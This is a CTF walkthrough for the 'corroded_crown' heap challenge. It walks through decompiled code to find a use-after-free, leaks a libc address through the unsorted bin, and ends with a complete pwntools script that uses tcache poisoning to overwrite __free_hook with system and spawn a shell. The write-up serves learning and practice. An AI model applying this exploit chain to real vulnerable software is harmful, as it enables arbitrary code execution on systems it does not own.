The corroded crown walkthrough

2026-10-28 2026-10-28372 Words

Challenge overview

❯ ls -T
.
├── glibc
│   ├── ld-linux-x86-64.so.2
│   └── libc.so.6
└── corroded_crown

❯ pwn checksec --file=./corroded_crown
[*] '/home/curtain/workspace/CTF_archives/cyber-apocalypse/pwn/corroded_crown/challenge/corroded_crown'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
    RUNPATH:    b'./glibc/'
    Stripped:   No

The first thing catch my eyes is the stack is executable. But later I cant find a way to leak stack address for shellcode injection.

❯ file glibc/libc.so.6
glibc/libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-lin
ux-x86-64.so.2, BuildID[sha1]=0323ab4806bee6f846d9ad4bccfc29afdca49a58, for GNU/Linux 3.2.0, stripped

❯ strings glibc/libc.so.6 | rg -i 'gnu c'
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.17) stable release version 2.31.
Compiled by GNU CC version 9.4.0.

The provided libc is stripped (means no symols) and I detemine the version from strings output.

Heap use-after-use

Now its time to analyze the main logic of program.

/* main() */
004018a3        printf(format: "1. Forge\n2. Inscribe\n3. Inspect\n4. Destroy\n> ")
004018a3
004018a8        while (true)
004018a8            int32_t choice = read_int()
004018a8
004018b4            if (choice == 4)
004018eb                destroy_relic()
004018b4            else
004018ba                if (choice s> 4)
00401910                label_401910:
00401910                    fwrite(buf: "[ERROR] Invalid choice\n", size: 1, count: 0x17,
00401910                        fp: stderr)
0040191a                    exit(status: 0x520)
0040191a                    noreturn
0040191a
004018c0                if (choice == 3)
004018e4                    inspect_relic()
004018c0                else
004018c6                    if (choice s> 3)
004018c6                        goto label_401910
004018c6
004018cc                    if (choice == 1)
004018d6                        forge_relic()
004018cc                    else
004018d2                        if (choice != 2)
004018d2                            goto label_401910
004018d2
004018dd                        inscribe_relic()
/* forge_relic() */
0040125a        int32_t index = read_int()
00401271        printf(format: "[?] How much metal shall we shape? (size): ")
00401276        int32_t size = read_int()
00401276
00401288        if (index s< 0 || index s> 0x3f)
004012a8            fwrite(buf: "[ERROR] Invalid index\n", size: 1, count: 0x16, fp: stderr)
004012b2            exit(status: 0x520)
004012b2            noreturn
004012b2
004012bb        if (size s< 0)
004012db            fwrite(buf: "[ERROR] Invalid size\n", size: 1, count: 0x15, fp: stderr)
004012e5            exit(status: 0x520)
004012e5            noreturn
004012e5
00401303        if (*((sx.q(index) << 4) + &relic.__offset(0xc)) != 0)
00401381            puts(str: "[!] That shelf already holds a relic. The forge refuses.")
00401303        else
00401328            *((sx.q(index) << 4) + &relic) = malloc(bytes: sx.q(size))
00401342            *((sx.q(index) << 4) + &relic.__offset(0x8)) = size
00401358            *((sx.q(index) << 4) + &relic.__offset(0xc)) = 1
00401370            printf(format: "[+] The relic has been forged and placed upon shelf %d.\n",
00401370                zx.q(index))

Notice the operation from 0x401328-0x401358 which seems like some structure to relic 'variable'.

2026-10-28_13-27-43_screenshot.png After debug with gdb, I could construct a struct at that address like below.

struct Relic {
    void *addr;
    int size;
    char is_used;
};

The use-after-use vulnerability exists

/* destroy_relic() */
004015ee        int32_t rax_2 = read_int()
004015ee
00401600        if (rax_2 s< 0 || rax_2 s> 0x3f)
00401620            fwrite(buf: "[ERROR] Invalid index\n", size: 1, count: 0x16, fp: stderr)
0040162a            exit(status: 0x520)
0040162a            noreturn
0040162a
00401648        if (*((sx.q(rax_2) << 4) + &relic.__offset(0xc)) != 1)
0040169b            puts(str: "[!] That shelf is empty. There is nothing to destroy.")
00401648        else
00401664            free(mem: *((sx.q(rax_2) << 4) + &relic))
0040167c            *((sx.q(rax_2) << 4) + &relic.__offset(0xc)) = 0
0040168a            puts(str: "[!] The relic crumbles to ash. The mark lingers.")

Notice that the address doesn't be assigned to NULL after free() call! This is a UAF vulnerability.

IO primitive

read() with inscrible_relic():

004013db        int32_t index = read_int()
004013db
004013ed        if (index s< 0 || index s> 0x3f)
0040140d            fwrite(buf: "[ERROR] Invalid index\n", size: 1, count: 0x16, fp: stderr)
00401417            exit(status: 0x520)
00401417            noreturn
00401417
00401443        printf(format: "[?] Press your inscription into the metal (%d bytes):\n",
00401443            zx.q(*((sx.q(index) << 4) + &relic.__offset(0x8))))
00401443
00401488        if (read(fd: 0, buf: *((sx.q(index) << 4) + &relic),
00401488                nbytes: sx.q(*((sx.q(index) << 4) + &relic.__offset(0x8)))) == 0)
0040148f            _exit(status: 0)
0040148f            noreturn

write() with inspect_relic():

004014f8        int32_t rax_2 = read_int()
004014f8
0040150a        if (rax_2 s< 0 || rax_2 s> 0x3f)
0040152a            fwrite(buf: "[ERROR] Invalid index\n", size: 1, count: 0x16, fp: stderr)
00401534            exit(status: 0x520)
00401534            noreturn
00401534
0040154d        printf(format: "[*] Relic [%d]: ", zx.q(rax_2))
0040158a        write(fd: 1, buf: *((sx.q(rax_2) << 4) + &relic),
0040158a            nbytes: sx.q(*((sx.q(rax_2) << 4) + &relic.__offset(0x8))))
00401594        putchar(c: 0xa)

This two functions provide IO primitive for us to leak private address or corrupt metadata of heap internal!

Exploitation

Since the program doesn't leak stack info and also the PIE protection is enabled, I cant exploit it with shellcode injection.

Leak libc address

Then I realize that I could leak libc address by unsorted_bin. when a big chunk (exceed the tcache max size 0x410 at 2.31) be freed, it will be put into unsorted_bin. the fd and bk field of it will point to main_arena->bins field! which has fixed offset at specific version.

struct malloc_state
{
  /* Serialize access.  */
  __libc_lock_define (, mutex);

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Set if the fastbin chunks contain recently inserted free blocks.  */
  /* Note this is a bool but not all targets support atomics on booleans.  */
  int have_fastchunks;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  struct malloc_state *next;

  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;

  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

The offset of fields:

field relative offset to main_arena size
mutex 0x00 4
flags 0x04 4
have_fastchunks 0x08 4
(padding) 0x0c 4
fastbinsY[10] 0x10 0x50
top 0x60 8
last_remainder 0x68 8
bins[0] 0x70 8
bins[1] 0x78 8
- - -

When a big chunk getting into unsorted bin, the following macro will be used to get the address of fd and bk:

#define unsorted_chunks(M) (bin_at (M, 1))

#define bin_at(m, i) \
    (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) \
               - offsetof (struct malloc_chunk, fd))

Notice: here bin_at - offsetof(struct malloc_chunk, fd) then put it into fd and bk field of the freed chunk. which construct a fake chunk at that position. So the offset of fd and bk to main_arena is: 0x70 - 0x10 = 0x60.

https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c

void *
__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;

  _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
                  "PTRDIFF_MAX is not more than half of SIZE_MAX");

  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook);
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0));
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  if (!checked_request2size (bytes, &tbytes))
    {
      __set_errno (ENOMEM);
      return NULL;
    }
  size_t tc_idx = csize2tidx (tbytes);

  MAYBE_INIT_TCACHE ();

  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx < mp_.tcache_bins
      && tcache
      && tcache->counts[tc_idx] > 0)
    {
      return tcache_get (tc_idx);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif

  if (SINGLE_THREAD_P)
    {
      victim = _int_malloc (&main_arena, bytes); /* NOTE@here */
      assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
          &main_arena == arena_for_chunk (mem2chunk (victim)));
      return victim;
    }
  /* .... */
}

Here I search main_arena symbol at source tree, find it's referenced here. So I use objdump to disassemble this function and get the offset of main_arena.

objdump -M intel --disassemble=__libc_malloc glibc/libc.so.6
    ;; .....
   9a135:       64 8b 04 25 18 00 00    mov    eax,DWORD PTR fs:0x18 ;SINGLE_THREAD_P
   9a13c:       00
   9a13d:       85 c0                   test   eax,eax
   9a13f:       0f 85 1b 01 00 00       jne    9a260 <__libc_malloc@@GLIBC_2.2.5+0x180>
   9a145:       48 89 ee                mov    rsi,rbp ; bytes
   9a148:       48 8d 3d 31 2a 15 00    lea    rdi,[rip+0x152a31]        # 1ecb80 <__malloc_hook@@GLIBC_2.2.5+0x10> ; main_arena
   9a14f:       e8 1c d9 ff ff          call   97a70 <pthread_attr_setschedparam@@GLIBC_2.2.5+0x2cc0> ;_int_malloc
    ;; .....

The final offset is: 0x1ecb80 + 0x60! and again GDB help me identify it.

2026-10-28_15-43-17_screenshot.png

Attack chain

Now, I have the critical leak, I could leverage all stuff with libc! This version of libc still has __malloc_hook/__free_hook. I could construct a chain like this:

tcache poisoning to get address of __free_hook
-> overwrite it with system address by write primitive
-> place string /bin/sh to somewhere
-> call free with that /bin/sh pointer
-> boom, __free_hook trigger! get shell!

Script

from pwn import *

io = process('./corroded_crown')

if args.GDB:
    context.terminal = ['tmux', 'split', '-h']
    gdb.attach(io, gdbscript= '''
    brva 0x1664
    c
    ''')

choice_manner = b'> '
idx_manner = b'(index): '
size_manner = b'(size): '
def forge(idx, size):
    io.sendlineafter(choice_manner, b'1')
    io.sendlineafter(idx_manner, str(idx).encode())
    io.sendlineafter(size_manner, str(size).encode())

def inscribe(idx, data):
    io.sendlineafter(choice_manner, b'2')
    io.sendlineafter(idx_manner, str(idx).encode())
    io.sendafter(b':\n', data)

def inspect(idx, size):
    io.sendlineafter(choice_manner, b'3')
    io.sendlineafter(idx_manner, str(idx).encode())
    io.recvuntil(b': ')
    return io.recvn(size)

def destory(idx):
    io.sendlineafter(choice_manner, b'4')
    io.sendlineafter(idx_manner, str(idx).encode())

forge(0, 1280)            # 0x500 for free into unsorted_bin which could leak fd,bk point to main_arena, libc address
forge(1, 80)              # avoid consolidation occur with top-chunk when first chunk free
destory(0)

main_arena_addr = u64(inspect(0, 1280)[:8])
info(f'main_arena_addr: {hex(main_arena_addr)}')

libc = ELF('./glibc/libc.so.6', checksec=False)
main_arena_offset = 0x1ecbe0    # inform from src and disassembler
libc.address = main_arena_addr - main_arena_offset
free_hook = libc.sym.__free_hook
system = libc.sym.system
info(f'libc: {hex(libc.address)}, __free_hook addr: {hex(free_hook)}, system addr: {hex(system)}')


forge(2, 8)
forge(3, 8)
destory(2)
destory(3)

inscribe(3, p64(free_hook))

forge(4, 8)
forge(5, 8)
inscribe(5, p64(system))

forge(6, 8)
inscribe(6, b'/bin/sh\x00')
destory(6)

io.interactive()

Creator: Emacs 32.0.50 (Org mode 10.0-pre)